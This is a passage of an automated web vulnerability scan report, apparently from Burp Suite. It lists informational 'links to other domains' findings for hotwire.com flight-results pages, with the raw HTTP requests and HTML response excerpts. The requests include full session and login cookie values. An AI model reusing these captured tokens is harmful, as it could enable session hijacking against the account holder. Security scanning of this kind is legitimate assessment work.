onclick="cmPageviewOnClick(AnalyticsSupport.pageId + ':NAV-PARTNERS:loc:0:IAC',
'external-link','http://iac.com/index.html', AnalyticsSupport.pageId);">
IAC/InterActiveCorp</a>
...[SNIP]...
</strong>
<a target="_blank" href="http://www.bloglines.com"
onclick="cmPageviewOnClick(AnalyticsSupport.pageId + ':NAV-PARTNERS:loc:0:BLOGLINES',
'external-link','http://www.bloglines.com', AnalyticsSupport.pageId);">
Bloglines</a> -
<a target="_blank" href="http://www.citysearch.com"
onclick="cmPageviewOnClick(AnalyticsSupport.pageId + ':NAV-PARTNERS:loc:0:CITY-SEARCH',
'external-link','http://www.citysearch.com', AnalyticsSupport.pageId);">
Citysearch</a> -
<a target="_blank" href="http://www.evite.com" onclick="cmPageviewOnClick(AnalyticsSupport.pageId + ':NAV-PARTNERS:loc:0:EVITE',
'external-link','http://www.evite.com', AnalyticsSupport.pageId);">
Evite</a> -
<a target="_blank" href="http://www.gifts.com" onclick="cmPageviewOnClick(AnalyticsSupport.pageId + ':NAV-PARTNERS:loc:0:GIFTS',
'external-link','http://www.gifts.com', AnalyticsSupport.pageId);">
Gifts</a> -
<a target="_blank" href="http://www.lendingtree.com/"
onclick="cmPageviewOnClick(AnalyticsSupport.pageId + ':NAV-PARTNERS:loc:0:LENDING-TREE',
'external-link','http://www.lendingtree.com/', AnalyticsSupport.pageId);">
LendingTree</a> -
<a target="_blank" href="http://www.match.com"
onclick="cmPageviewOnClick(AnalyticsSupport.pageId + ':NAV-PARTNERS:loc:0:MATCH','external-link',
'http://www.match.com', AnalyticsSupport.pageId);">
Match</a> -
<a target="_blank" href="http://www.hsn.com"
onclick="cmPageviewOnClick(AnalyticsSupport.pageId + ':NAV-PARTNERS:loc:0:ONLINE-SHOPPING',
'external-link','http://www.hsn.com', AnalyticsSupport.pageId);">
Online Shopping</a> -
<a target="_blank" href="http://www.pronto.com"
onclick="cmPageviewOnClick(AnalyticsSupport.pageId + ':NAV-PARTNERS:loc:0:PRONTO',
'external-link','http://www.pronto.com', AnalyticsSupport.pageId);">
Pronto</a> -
<a target="_blank" href="http://www.servicemagic.com"
onclick="cmPageviewOnClick(AnalyticsSupport.pageId + ':NAV-PARTNERS:loc:0:SERVICEMAGIC',
'external-link','http://www.servicemagic.com', AnalyticsSupport.pageId);">
ServiceMagic</a> -
<a target="_blank" href="http://www.shoebuy.com"
onclick="cmPageviewOnClick(AnalyticsSupport.pageId + ':NAV-PARTNERS:loc:0:SHOES','external-link',
'http://www.shoebuy.com', AnalyticsSupport.pageId);">
Shoebuy</a> -
<a target="_blank" href="http://www.thedailybeast.com" onclick="cmPageviewOnClick(AnalyticsSupport.pageId + ':NAV-PARTNERS:loc:0:THE-DAILY-BEAST',
'external-link','http://www.thedailybeast.com', AnalyticsSupport.pageId);">
The Daily Beast</a>
...[SNIP]...
<div class="yui3-u rightInfo">
<img class="mr10" src="http://ak-static.hotwirestatic.com/static/images/shell/BBB_logo_A.jpg?ver=222960" width="135" height="53" border="0" alt="BBB Acredited Business"/>
<a target="_blank" href="http://www.bizrate.com/ratings_guide/cust_reviews__mid--27352.html"><img class="bizrate"
src="http://ak-static.hotwirestatic.com/static/images/shell/bizrate_27352_medal_sm.gif?ver=222960" width="112" height="37" border="0" alt="Bizrate Registered Store"/>
</a>
...[SNIP]...

11.12. http://www.hotwire.com/air/results.jsp  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.hotwire.com
Path:   /air/results.jsp

Issue detail

The page was loaded from a URL containing a query string:The response contains the following links to other domains:

Request

GET /air/results.jsp?searchTokenId=1&backButtonInputId=air-index HTTP/1.1
Host: www.hotwire.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.2 (KHTML, like Gecko) Chrome/15.0.874.106 Safari/535.2
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: http://www.bing.com/travel/flights?FORM=TRABFL
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: JSESSIONID=8ABAB9B20359272EF267EE99BC92C535; SaneID=8ABAB9B20359272EF267EE99BC92C53; hotwireLogin=V4XFi9mFuQsCCPy6V/qhrdIccYJFHrJxloNL+OGc4tZkfjnIHGhTi7ltrG1IPXfIeO+uyJQdNdBMLRhhG2FHTMgXg79d4ve0wj4co6fHPBw/6XrC+I2V0VAJjgDrxtP6UCZQAzRZKNmqg6s3BNNiMzoqSlE+9QLVq8LlP5r5sVC9LqYt6r1WejbBqGtX4/QeMydTsx5XDmME0qOPB8zW5aGoplccEyUVyAQw1zoB77fdKkw2wifeN3QXc3uxCTtpmp1Xbz0DxcS4cKS1iGZ7tDS9ulFNeBvx/qJTKhJwy7rJEih5XSyT1Fco8d5rZFOYJfrLMMzpj5kMJEILR9qBNRDl+42pRMtKzavwDRm7Zn4S+YVpyXk9PjDFsc8boH4pNL/i/1SO3SnXZq06Bmb1cMu94wvBIzddV6cWSVnTSkb6zEWjyhKcj/R/L14UAfRNxKLA1dwarM4dx9zfvTJdnTQ5OD8cXu1QsRQx6bhBdHgkaVvI7Yv0CzgZubBDGYZ2py/gVN6nUboAKdWWhnH1+SCb4zGbUyOIkF4m3Q5L+mHwtRpnviW5iB6TzG4qM3vCGJzuO/q61vTeJmSjVVzx75u8crr6cftWqHj6w1ad2e3Pf5CFEtJtPeidw2FziNaUnrZUO8Dg4khW7hU9cY7J7fKZ4GRKCUFiaqRBwocDhg2nL+BU3qdRuu3nLjE0iKGkecN3QDSwuy2hpe08Csu2fupUbvdFv0Cs+iPYTYOKXR36I9hNg4pdHfoj2E2Dil0d+iPYTYOKXR36I9hNg4pdHZkXMwFjN5//GfFEXccZLnRe4HTJo0i26foj2E2Dil0d+iPYTYOKXR0A/je7yzDiYxzOTLmW6hAr+iPYTYOKXR1PInMvNwnP4qWAQ5Fqf/sURmHo2YOoPtSM+3JgIIVvgfoj2E2Dil0dfPSXg9UVFkdonRAnD1CzZSScdfGLoqChRdyjkfXmqOcml0c5X6k8GJajsUKRNqS+Ouz/Wdyu4BqKlqjo3JeIwqrZeEv6z+6NkVbI7P1I/pc=; auth=true; NSC_qspe-xxx-qfstjtu=ffffffffaf131c0b45525d5f4f58455e445a4a422d6d

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Pragma: no-cache
Expires: Mon, 01 Jan 1990 00:00:00 GMT
Cache-control: no-store, no-cache, private, must-revalidate
Set-Cookie: hotwirePageModuleState=pgoodCode=A&searchTokenId=1; Path=/
Content-Type: text/html;charset=UTF-8
Date: Thu, 10 Nov 2011 21:54:11 GMT
Content-Length: 61642


<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">


<html>
<head>
<meta http-equiv="Content-Language" content="en-us"/>
<meta http-eq
...[SNIP]...
ngsv02.html" l gen true for "http://www.hotwire.com" r (cz 1 lz 1 nz 1 oz 1 vz 1) "http://www.rsac.org/ratingsv01.html" l gen true for "http://www.hotwire.com" r (n 0 s 0 v 0 l 0))' />


<link rel="shortcut icon" href="http://ak-static.hotwirestatic.com/static/images/favicon2.ico?ver=207657"/>
<link rel="stylesheet" type="text/css" href="http://ak-static.hotwirestatic.com/static/deploy/master/hwCore.css?ver=223461"/>


<script>
...[SNIP]...
</script>


<script src="http://ak-static.hotwirestatic.com/static/deploy/master/hwCore.js?ver=219395"></script>


<link rel="stylesheet" href="http://ak-static.hotwirestatic.com/static/deploy/??css/freshResultsLayout.css,css/air/results/freshAirResults.css,ver=223929" type="text/css"/>


<link rel="stylesheet" href="http://ak-static.hotwirestatic.com/static/deploy/css/air/results/freshAirResultsPrint.css?ver=223929" media="print" type="text/css"/>


<script>
...[SNIP]...
</p>
<img class="waiting" src="http://ak-static.hotwirestatic.com/static/images/core/searching/popup/loading-animation.gif?ver=158026"
width="66" height="65" border="0" alt="...waiting..." />

<h1>
...[SNIP]...
<p class="black">BOS
<img class="to" src="http://ak-static.hotwirestatic.com/static/images/air/results/fresh/icon_to-arrow_small.png?ver=223930" alt="to">
MIA
</p>
...[SNIP]...
<div class="promoImg">
<img width="160" height="120" border="0" alt="...waiting..."
src="http://ak-static.hotwirestatic.com/static/images/pop-up/update-promo-sliders.gif?ver=210522"
/>

</div>
...[SNIP]...
<div class="center">
<img class="waiting" src="http://ak-static.hotwirestatic.com/static/images/core/searching/popup/loading-animation.gif?ver=158026"
width="66" height="65" border="0" alt="...waiting..." />
<br/>
<img class="message" src="http://ak-static.hotwirestatic.com/static/images/core/searching/popup/updating_animation_narrow.gif?ver=158026"
width="91" height="16" border="0" alt="Updating..." />

</div>
...[SNIP]...
</script>


<a href="http://www.travel-ticker.com/category.jsp?actionType=1&categoryType=Type&categoryName=Cars&sid=S287&bid=B314948" onclick="AnalyticsSupport.logOmnitureLinkEvent({moduleName:'tt.header',
link:'dest1'});"
target="_new">

<span class="dealPrice">
...[SNIP]...
</a>
<a class="rightText" href="http://www.travel-ticker.com/category.jsp?actionType=1&categoryType=Type&categoryName=Cars&sid=S287&bid=B314948" onclick="AnalyticsSupport.logOmnitureLinkEvent({moduleName:'tt.header',
link:'dest1'});"
target="_new">

<img src="http://ak-static.hotwirestatic.com/static/images/travel-ticker/tt-hw-logo2.png?ver=169988"
class="ttHwLogo"
width="153"
height="18"
alt="Get great deals at www.travel-ticker.com"/>

<span class="staticMessage">
...[SNIP]...
<a href="http://www.hotwire.com/index.jsp" onclick="AnalyticsSupport.storeLinkId({moduleName:'NAV-LOGO',linkName:'HOTWIRE'});"><img src="http://ak-static.hotwirestatic.com/static/images/shell/hotwire-logo-3d.gif?ver=222960" width="165" height="33" border="0" alt="Hotwire.com Home"/></a>
...[SNIP]...
href="#" title="Help"
onclick="CompSupport.callJsObj('currencyHelpLayer', 'show', this); AnalyticsSupport.logOmnitureLinkEvent({moduleName:'curr-help', link: 'help1'}); return false;">
<img class='iconNormal' src='http://ak-static.hotwirestatic.com/static/images/global/icon-whats-this.gif?ver=193627' alt="Help"/>
</a>
...[SNIP]...
</span><img src="http://ak-static.hotwirestatic.com/static/images/core/buttons/btn-find-a-flight.gif?ver=217676" alt="Find a flight"/></button>
...[SNIP]...
<a href="http://www.hotwire.com/package/index.jsp" class="packageRecommendation" onclick="AnalyticsSupport.storeLinkId({moduleName:'sidebar-package',linkName:'search'});">
   <img src="http://ak-static.hotwirestatic.com/static/images/air/results/fresh/fa-cross-sell-package.png?ver=223930"
        alt="Save with a package">

</a>
...[SNIP]...
<a href="#" class="helpLink" title="Help"
onclick="CompSupport.callJsObj('resultsHelpLayer', 'show', [this, -330, 0]); return false;">
   <img src='http://ak-static.hotwirestatic.com/static/images/core/mini-modules/help-icon-off.png?ver=172897' alt="Help"/>
</a>
...[SNIP]...
<a href="#" class="printLink" title="Print version" onclick="window.print();return false;" >
   <img src='http://ak-static.hotwirestatic.com/static/images/core/mini-modules/printer-friendly-icon-off.png?ver=172897' alt="Print version"/>
</a>
...[SNIP]...
.jsp" onclick="AppSupport.popUpWindow(this, '', 'scrollbars=yes,menubar=no,resizable=yes,status=no,top=30,left=40,width=457,height=450'); return false;">
View policies
<img src="http://ak-static.hotwirestatic.com/static/images/air/results/fresh/icon-new_window.png?ver=223930" alt="" class="pop-up-icon" />
</a>
...[SNIP]...
</span><img src="http://ak-static.hotwirestatic.com/static/images/buttons/btn-update-results.png?ver=224526" alt="Submit"/></button>
...[SNIP]...
</span><img src="http://ak-static.hotwirestatic.com/static/images/buttons/btn-watch-this-trip-red.png?ver=224526" alt="Watch this trip"/></button>
...[SNIP]...
<a href="#" onclick="return CompSupport.getJsObj(this).openFeedbackForm(this);">
<img src="http://ak-static.hotwirestatic.com/static/images/core/opinionlab/balloon-icon.gif?ver=156461" alt=""/>
<strong>
...[SNIP]...
</strong>
<img src="http://ak-static.hotwirestatic.com/static/images/core/opinionlab/pop-up-icon.gif?ver=156461" alt="" class="pop-up-icon">
</a>
...[SNIP]...
</script>


<a href="http://www.travel-ticker.com/category.jsp?actionType=1&categoryType=Type&categoryName=Flights&sid=S287&bid=B314947" onclick="AnalyticsSupport.logOmnitureLinkEvent({moduleName:'tt.footer',
link:'dest2'});"
target="_new">

<span class="dealPrice">
...[SNIP]...
</a>
<a class="rightText" href="http://www.travel-ticker.com/category.jsp?actionType=1&categoryType=Type&categoryName=Flights&sid=S287&bid=B314947" onclick="AnalyticsSupport.logOmnitureLinkEvent({moduleName:'tt.footer',
link:'dest2'});"
target="_new">

<img src="http://ak-static.hotwirestatic.com/static/images/travel-ticker/tt-hw-logo2.png?ver=169988"
class="ttHwLogo"
width="153"
height="18"
alt="Get great deals at www.travel-ticker.com"/>

<span class="staticMessage">
...[SNIP]...
<li><a href="http://www.advertising.expedia.com" onclick="cmPageviewOnClick(AnalyticsSupport.pageId + ':NAV-FOOTER:loc:0:ADVERTISERS',
'external-link','http://www.advertising.expedia.com', AnalyticsSupport.pageId)">
Advertisers</a>
...[SNIP]...
</a> -
<a target="_blank" href="http://www.carrentals.com"
onclick="cmPageviewOnClick(AnalyticsSupport.pageId + ':NAV-PARTNERS:loc:0:CARRENTALS',
'external-link','http://www.carrentals.com', AnalyticsSupport.pageId);">
CarRentals.com</a> -
<a target="_blank" href="http://www.travel-ticker.com/"
onclick="cmPageviewOnClick(AnalyticsSupport.pageId + ':NAV-PARTNERS:loc:0:TRAVEL-TICKER',
'external-link','http://www.travel-ticker.com', AnalyticsSupport.pageId);">
Travel-Ticker.com</a>
...[SNIP]...
</strong>
<a target="_blank" href="http://www.expedia.com" onclick="cmPageviewOnClick(AnalyticsSupport.pageId + ':NAV-PARTNERS:loc:0:EXPEDIA',
'external-link','http://www.expedia.com', AnalyticsSupport.pageId);">
Expedia</a> -
<a target="_blank" href="http://www.hotels.com" onclick="cmPageviewOnClick(AnalyticsSupport.pageId + ':NAV-PARTNERS:loc:0:HOTELS',
'external-link','http://www.hotels.com', AnalyticsSupport.pageId);">
Hotels.com</a> -
<a target="_blank" href="http://www.classicvacations.com" onclick="cmPageviewOnClick(AnalyticsSupport.pageId + ':NAV-PARTNERS:loc:0:CLASSIC',
'external-link','http://www.classicvacations.com', AnalyticsSupport.pageId);">
ClassicVacations.com</a> -
<a target="_blank" href="http://www.tripadvisor.com" onclick="cmPageviewOnClick(AnalyticsSupport.pageId + ':NAV-PARTNERS:loc:0:TRIPADVISOR',
'external-link','http://www.tripadvisor.com', AnalyticsSupport.pageId);">
TripAdvisor.com</a> -
<a target="_blank" href="http://www.smartertravel.com" onclick="cmPageviewOnClick(AnalyticsSupport.pageId + ':NAV-PARTNERS:loc:0:SMARTER-TVL',
'external-link','http://www.smartertravel.com', AnalyticsSupport.pageId);">
Smarter Travel</a> -
<a target="_blank" href="http://www.egencia.com/" onclick="cmPageviewOnClick(AnalyticsSupport.pageId + ':NAV-PARTNERS:loc:0:EGENCIA',
'external-link','http://www.egencia.com/', AnalyticsSupport.pageId);">
Egencia</a>
...[SNIP]...
<strong><a target="_blank" href="http://iac.com/index.html"
onclick="cmPageviewOnClick(AnalyticsSupport.pageId + ':NAV-PARTNERS:loc:0:IAC',
'external-link','http://iac.com/index.html', AnalyticsSupport.pageId);">
IAC/InterActiveCorp</a>
...[SNIP]...
</strong>
<a target="_blank" href="http://www.bloglines.com"
onclick="cmPageviewOnClick(AnalyticsSupport.pageId + ':NAV-PARTNERS:loc:0:BLOGLINES',
'external-link','http://www.bloglines.com', AnalyticsSupport.pageId);">
Bloglines</a> -
<a target="_blank" href="http://www.citysearch.com"
onclick="cmPageviewOnClick(AnalyticsSupport.pageId + ':NAV-PARTNERS:loc:0:CITY-SEARCH',
'external-link','http://www.citysearch.com', AnalyticsSupport.pageId);">
Citysearch</a> -
<a target="_blank" href="http://www.evite.com" onclick="cmPageviewOnClick(AnalyticsSupport.pageId + ':NAV-PARTNERS:loc:0:EVITE',
'external-link','http://www.evite.com', AnalyticsSupport.pageId);">
Evite</a> -
<a target="_blank" href="http://www.gifts.com" onclick="cmPageviewOnClick(AnalyticsSupport.pageId + ':NAV-PARTNERS:loc:0:GIFTS',
'external-link','http://www.gifts.com', AnalyticsSupport.pageId);">
Gifts</a> -
<a target="_blank" href="http://www.lendingtree.com/"
onclick="cmPageviewOnClick(AnalyticsSupport.pageId + ':NAV-PARTNERS:loc:0:LENDING-TREE',
'external-link','http://www.lendingtree.com/', AnalyticsSupport.pageId);">
LendingTree</a> -
<a target="_blank" href="http://www.match.com"
onclick="cmPageviewOnClick(AnalyticsSupport.pageId + ':NAV-PARTNERS:loc:0:MATCH','external-link',
'http://www.match.com', AnalyticsSupport.pageId);">
Match</a> -
<a target="_blank" href="http://www.hsn.com"
onclick="cmPageviewOnClick(AnalyticsSupport.pageId + ':NAV-PARTNERS:loc:0:ONLINE-SHOPPING',
'external-link','http://www.hsn.com', AnalyticsSupport.pageId);">
Online Shopping</a> -
<a target="_blank" href="http://www.pronto.com"
onclick="cmPageviewOnClick(AnalyticsSupport.pageId + ':NAV-PARTNERS:loc:0:PRONTO',
'external-link','http://www.pronto.com', AnalyticsSupport.pageId);">
Pronto</a> -
<a target="_blank" href="http://www.servicemagic.com"
onclick="cmPageviewOnClick(AnalyticsSupport.pageId + ':NAV-PARTNERS:loc:0:SERVICEMAGIC',
'external-link','http://www.servicemagic.com', AnalyticsSupport.pageId);">
ServiceMagic</a> -
<a target="_blank" href="http://www.shoebuy.com"
onclick="cmPageviewOnClick(AnalyticsSupport.pageId + ':NAV-PARTNERS:loc:0:SHOES','external-link',
'http://www.shoebuy.com', AnalyticsSupport.pageId);">
Shoebuy</a> -
<a target="_blank" href="http://www.thedailybeast.com" onclick="cmPageviewOnClick(AnalyticsSupport.pageId + ':NAV-PARTNERS:loc:0:THE-DAILY-BEAST',
'external-link','http://www.thedailybeast.com', AnalyticsSupport.pageId);">
The Daily Beast</a>
...[SNIP]...
<div class="yui3-u rightInfo">
<img class="mr10" src="http://ak-static.hotwirestatic.com/static/images/shell/BBB_logo_A.jpg?ver=222960" width="135" height="53" border="0" alt="BBB Acredited Business"/>
<a target="_blank" href="http://www.bizrate.com/ratings_guide/cust_reviews__mid--27352.html"><img class="bizrate"
src="http://ak-static.hotwirestatic.com/static/images/shell/bizrate_27352_medal_sm.gif?ver=222960" width="112" height="37" border="0" alt="Bizrate Registered Store"/>
</a>
...[SNIP]...

11.13. http://www.hotwire.com/air/results.jsp  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.hotwire.com
Path:   /air/results.jsp

Issue detail

The page was loaded from a URL containing a query string:The response contains the following links to other domains:

Request

GET /air/results.jsp?searchTokenId=1&backButtonInputId=air-index HTTP/1.1
Host: www.hotwire.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.2 (KHTML, like Gecko) Chrome/15.0.874.106 Safari/535.2
Accept: */*
Referer: http://www.hotwire.com/air/results.jsp?searchTokenId=1&backButtonInputId=air-index
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: JSESSIONID=8ABAB9B20359272EF267EE99BC92C535; SaneID=8ABAB9B20359272EF267EE99BC92C53; hotwireLogin=V4XFi9mFuQsCCPy6V/qhrdIccYJFHrJxloNL+OGc4tZkfjnIHGhTi7ltrG1IPXfIeO+uyJQdNdBMLRhhG2FHTMgXg79d4ve0wj4co6fHPBw/6XrC+I2V0VAJjgDrxtP6UCZQAzRZKNmqg6s3BNNiMzoqSlE+9QLVq8LlP5r5sVC9LqYt6r1WejbBqGtX4/QeMydTsx5XDmME0qOPB8zW5aGoplccEyUVyAQw1zoB77fdKkw2wifeN3QXc3uxCTtpmp1Xbz0DxcS4cKS1iGZ7tDS9ulFNeBvx/qJTKhJwy7rJEih5XSyT1Fco8d5rZFOYJfrLMMzpj5kMJEILR9qBNRDl+42pRMtKzavwDRm7Zn4S+YVpyXk9PjDFsc8boH4pNL/i/1SO3SnXZq06Bmb1cMu94wvBIzddV6cWSVnTSkb6zEWjyhKcj/R/L14UAfRNxKLA1dwarM4dx9zfvTJdnTQ5OD8cXu1QsRQx6bhBdHgkaVvI7Yv0CzgZubBDGYZ2py/gVN6nUboAKdWWhnH1+SCb4zGbUyOIkF4m3Q5L+mHwtRpnviW5iB6TzG4qM3vCGJzuO/q61vTeJmSjVVzx75u8crr6cftWqHj6w1ad2e3Pf5CFEtJtPeidw2FziNaUnrZUO8Dg4khW7hU9cY7J7fKZ4GRKCUFiaqRBwocDhg2nL+BU3qdRuu3nLjE0iKGkecN3QDSwuy2hpe08Csu2fupUbvdFv0Cs+iPYTYOKXR36I9hNg4pdHfoj2E2Dil0d+iPYTYOKXR36I9hNg4pdHZkXMwFjN5//GfFEXccZLnRe4HTJo0i26foj2E2Dil0d+iPYTYOKXR0A/je7yzDiYxzOTLmW6hAr+iPYTYOKXR1PInMvNwnP4qWAQ5Fqf/sURmHo2YOoPtSM+3JgIIVvgfoj2E2Dil0dfPSXg9UVFkdonRAnD1CzZSScdfGLoqChRdyjkfXmqOcml0c5X6k8GJajsUKRNqS+Ouz/Wdyu4BqKlqjo3JeIwqrZeEv6z+6NkVbI7P1I/pc=; NSC_qspe-xxx-qfstjtu=ffffffffaf131c0b45525d5f4f58455e445a4a422d6d; hotwirePageModuleState=pgoodCode=A&searchTokenId=1; hwAnalytics_previousPageName=air.results

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Pragma: no-cache
Expires: Mon, 01 Jan 1990 00:00:00 GMT
Cache-control: no-store, no-cache, private, must-revalidate
Content-Type: text/html;charset=UTF-8
Date: Thu, 10 Nov 2011 21:54:36 GMT
Content-Length: 32962


<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">


<html>
<head>
<meta http-equiv="Content-Language" content="en-us"/>
<meta http-equ
...[SNIP]...
ngsv02.html" l gen true for "http://www.hotwire.com" r (cz 1 lz 1 nz 1 oz 1 vz 1) "http://www.rsac.org/ratingsv01.html" l gen true for "http://www.hotwire.com" r (n 0 s 0 v 0 l 0))' />


<link rel="shortcut icon" href="http://ak-static.hotwirestatic.com/static/images/favicon2.ico?ver=207657"/>
<link rel="stylesheet" type="text/css" href="http://ak-static.hotwirestatic.com/static/deploy/master/hwCore.css?ver=223461"/>


<script>
...[SNIP]...
</script>


<script src="http://ak-static.hotwirestatic.com/static/deploy/master/hwCore.js?ver=219395"></script>


<link rel="stylesheet" href="http://ak-static.hotwirestatic.com/static/deploy/css/loginLayout.css?ver=205352" type="text/css" />
<link rel="stylesheet" href="http://ak-static.hotwirestatic.com/static/deploy/css/captcha.css?ver=188029" type="text/css" />


<script>
...[SNIP]...
</script>


<a href="http://www.travel-ticker.com/category.jsp?actionType=1&categoryType=Type&categoryName=Flights&sid=S287&bid=B314947" onclick="AnalyticsSupport.logOmnitureLinkEvent({moduleName:'tt.header',
link:'dest2'});"
target="_new">

<span class="dealPrice">
...[SNIP]...
</a>
<a class="rightText" href="http://www.travel-ticker.com/category.jsp?actionType=1&categoryType=Type&categoryName=Flights&sid=S287&bid=B314947" onclick="AnalyticsSupport.logOmnitureLinkEvent({moduleName:'tt.header',
link:'dest2'});"
target="_new">

<img src="http://ak-static.hotwirestatic.com/static/images/travel-ticker/tt-hw-logo2.png?ver=169988"
class="ttHwLogo"
width="153"
height="18"
alt="Get great deals at www.travel-ticker.com"/>

<span class="staticMessage">
...[SNIP]...
<a href="http://www.hotwire.com/index.jsp" onclick="AnalyticsSupport.storeLinkId({moduleName:'NAV-LOGO',linkName:'HOTWIRE'});"><img src="http://ak-static.hotwirestatic.com/static/images/shell/hotwire-logo-3d.gif?ver=222960" width="165" height="33" border="0" alt="Hotwire.com Home"/></a>
...[SNIP]...
href="#" title="Help"
onclick="CompSupport.callJsObj('currencyHelpLayer', 'show', this); AnalyticsSupport.logOmnitureLinkEvent({moduleName:'curr-help', link: 'help1'}); return false;">
<img class='iconNormal' src='http://ak-static.hotwirestatic.com/static/images/global/icon-whats-this.gif?ver=193627' alt="Help"/>
</a>
...[SNIP]...
<h1 class="mb5"><img src="http://ak-static.hotwirestatic.com/static/images/account/headlines/imgSecurityCheck.gif?ver=193714" width="157" height="23" border="0" alt="Secure Search"></h1>
...[SNIP]...
</span><img src="http://ak-static.hotwirestatic.com/static/images/buttons/btnContinue.gif?ver=224526" alt="Continue"/></button>
...[SNIP]...
</script>


<a href="http://www.travel-ticker.com/category.jsp?actionType=1&categoryType=Type&categoryName=Hotels&sid=S287&bid=B312633" onclick="AnalyticsSupport.logOmnitureLinkEvent({moduleName:'tt.footer',
link:'dest4'});"
target="_new">

<span class="dealPrice">
...[SNIP]...
</a>
<a class="rightText" href="http://www.travel-ticker.com/category.jsp?actionType=1&categoryType=Type&categoryName=Hotels&sid=S287&bid=B312633" onclick="AnalyticsSupport.logOmnitureLinkEvent({moduleName:'tt.footer',
link:'dest4'});"
target="_new">

<img src="http://ak-static.hotwirestatic.com/static/images/travel-ticker/tt-hw-logo2.png?ver=169988"
class="ttHwLogo"
width="153"
height="18"
alt="Get great deals at www.travel-ticker.com"/>

<span class="staticMessage">
...[SNIP]...
<li><a href="http://www.advertising.expedia.com" onclick="cmPageviewOnClick(AnalyticsSupport.pageId + ':NAV-FOOTER:loc:0:ADVERTISERS',
'external-link','http://www.advertising.expedia.com', AnalyticsSupport.pageId)">
Advertisers</a>
...[SNIP]...
</a> -
<a target="_blank" href="http://www.carrentals.com"
onclick="cmPageviewOnClick(AnalyticsSupport.pageId + ':NAV-PARTNERS:loc:0:CARRENTALS',
'external-link','http://www.carrentals.com', AnalyticsSupport.pageId);">
CarRentals.com</a> -
<a target="_blank" href="http://www.travel-ticker.com/"
onclick="cmPageviewOnClick(AnalyticsSupport.pageId + ':NAV-PARTNERS:loc:0:TRAVEL-TICKER',
'external-link','http://www.travel-ticker.com', AnalyticsSupport.pageId);">
Travel-Ticker.com</a>
...[SNIP]...
</strong>
<a target="_blank" href="http://www.expedia.com" onclick="cmPageviewOnClick(AnalyticsSupport.pageId + ':NAV-PARTNERS:loc:0:EXPEDIA',
'external-link','http://www.expedia.com', AnalyticsSupport.pageId);">
Expedia</a> -
<a target="_blank" href="http://www.hotels.com" onclick="cmPageviewOnClick(AnalyticsSupport.pageId + ':NAV-PARTNERS:loc:0:HOTELS',
'external-link','http://www.hotels.com', AnalyticsSupport.pageId);">
Hotels.com</a> -
<a target="_blank" href="http://www.classicvacations.com" onclick="cmPageviewOnClick(AnalyticsSupport.pageId + ':NAV-PARTNERS:loc:0:CLASSIC',
'external-link','http://www.classicvacations.com', AnalyticsSupport.pageId);">
ClassicVacations.com</a> -
<a target="_blank" href="http://www.tripadvisor.com" onclick="cmPageviewOnClick(AnalyticsSupport.pageId + ':NAV-PARTNERS:loc:0:TRIPADVISOR',
'external-link','http://www.tripadvisor.com', AnalyticsSupport.pageId);">
TripAdvisor.com</a> -
<a target="_blank" href="http://www.smartertravel.com" onclick="cmPageviewOnClick(AnalyticsSupport.pageId + ':NAV-PARTNERS:loc:0:SMARTER-TVL',
'external-link','http://www.smartertravel.com', AnalyticsSupport.pageId);">
Smarter Travel</a> -
<a target="_blank" href="http://www.egencia.com/" onclick="cmPageviewOnClick(AnalyticsSupport.pageId + ':NAV-PARTNERS:loc:0:EGENCIA',
'external-link','http://www.egencia.com/', AnalyticsSupport.pageId);">
Egencia</a>
...[SNIP]...
<strong><a target="_blank" href="http://iac.com/index.html"
onclick="cmPageviewOnClick(AnalyticsSupport.pageId + ':NAV-PARTNERS:loc:0:IAC',
'external-link','http://iac.com/index.html', AnalyticsSupport.pageId);">
IAC/InterActiveCorp</a>
...[SNIP]...
</strong>
<a target="_blank" href="http://www.bloglines.com"
onclick="cmPageviewOnClick(AnalyticsSupport.pageId + ':NAV-PARTNERS:loc:0:BLOGLINES',
'external-link','http://www.bloglines.com', AnalyticsSupport.pageId);">
Bloglines</a> -
<a target="_blank" href="http://www.citysearch.com"
onclick="cmPageviewOnClick(AnalyticsSupport.pageId + ':NAV-PARTNERS:loc:0:CITY-SEARCH',
'external-link','http://www.citysearch.com', AnalyticsSupport.pageId);">
Citysearch</a> -
<a target="_blank" href="http://www.evite.com" onclick="cmPageviewOnClick(AnalyticsSupport.pageId + ':NAV-PARTNERS:loc:0:EVITE',
'external-link','http://www.evite.com', AnalyticsSupport.pageId);">
Evite</a> -
<a target="_blank" href="http://www.gifts.com" onclick="cmPageviewOnClick(AnalyticsSupport.pageId + ':NAV-PARTNERS:loc:0:GIFTS',
'external-link','http://www.gifts.com', AnalyticsSupport.pageId);">
Gifts</a> -
<a target="_blank" href="http://www.lendingtree.com/"
onclick="cmPageviewOnClick(AnalyticsSupport.pageId + ':NAV-PARTNERS:loc:0:LENDING-TREE',
'external-link','http://www.lendingtree.com/', AnalyticsSupport.pageId);">
LendingTree</a> -
<a target="_blank" href="http://www.match.com"
onclick="cmPageviewOnClick(AnalyticsSupport.pageId + ':NAV-PARTNERS:loc:0:MATCH','external-link',
'http://www.match.com', AnalyticsSupport.pageId);">
Match</a> -
<a target="_blank" href="http://www.hsn.com"
onclick="cmPageviewOnClick(AnalyticsSupport.pageId + ':NAV-PARTNERS:loc:0:ONLINE-SHOPPING',
'external-link','http://www.hsn.com', AnalyticsSupport.pageId);">
Online Shopping</a> -
<a target="_blank" href="http://www.pronto.com"
onclick="cmPageviewOnClick(AnalyticsSupport.pageId + ':NAV-PARTNERS:loc:0:PRONTO',
'external-link','http://www.pronto.com', AnalyticsSupport.pageId);">
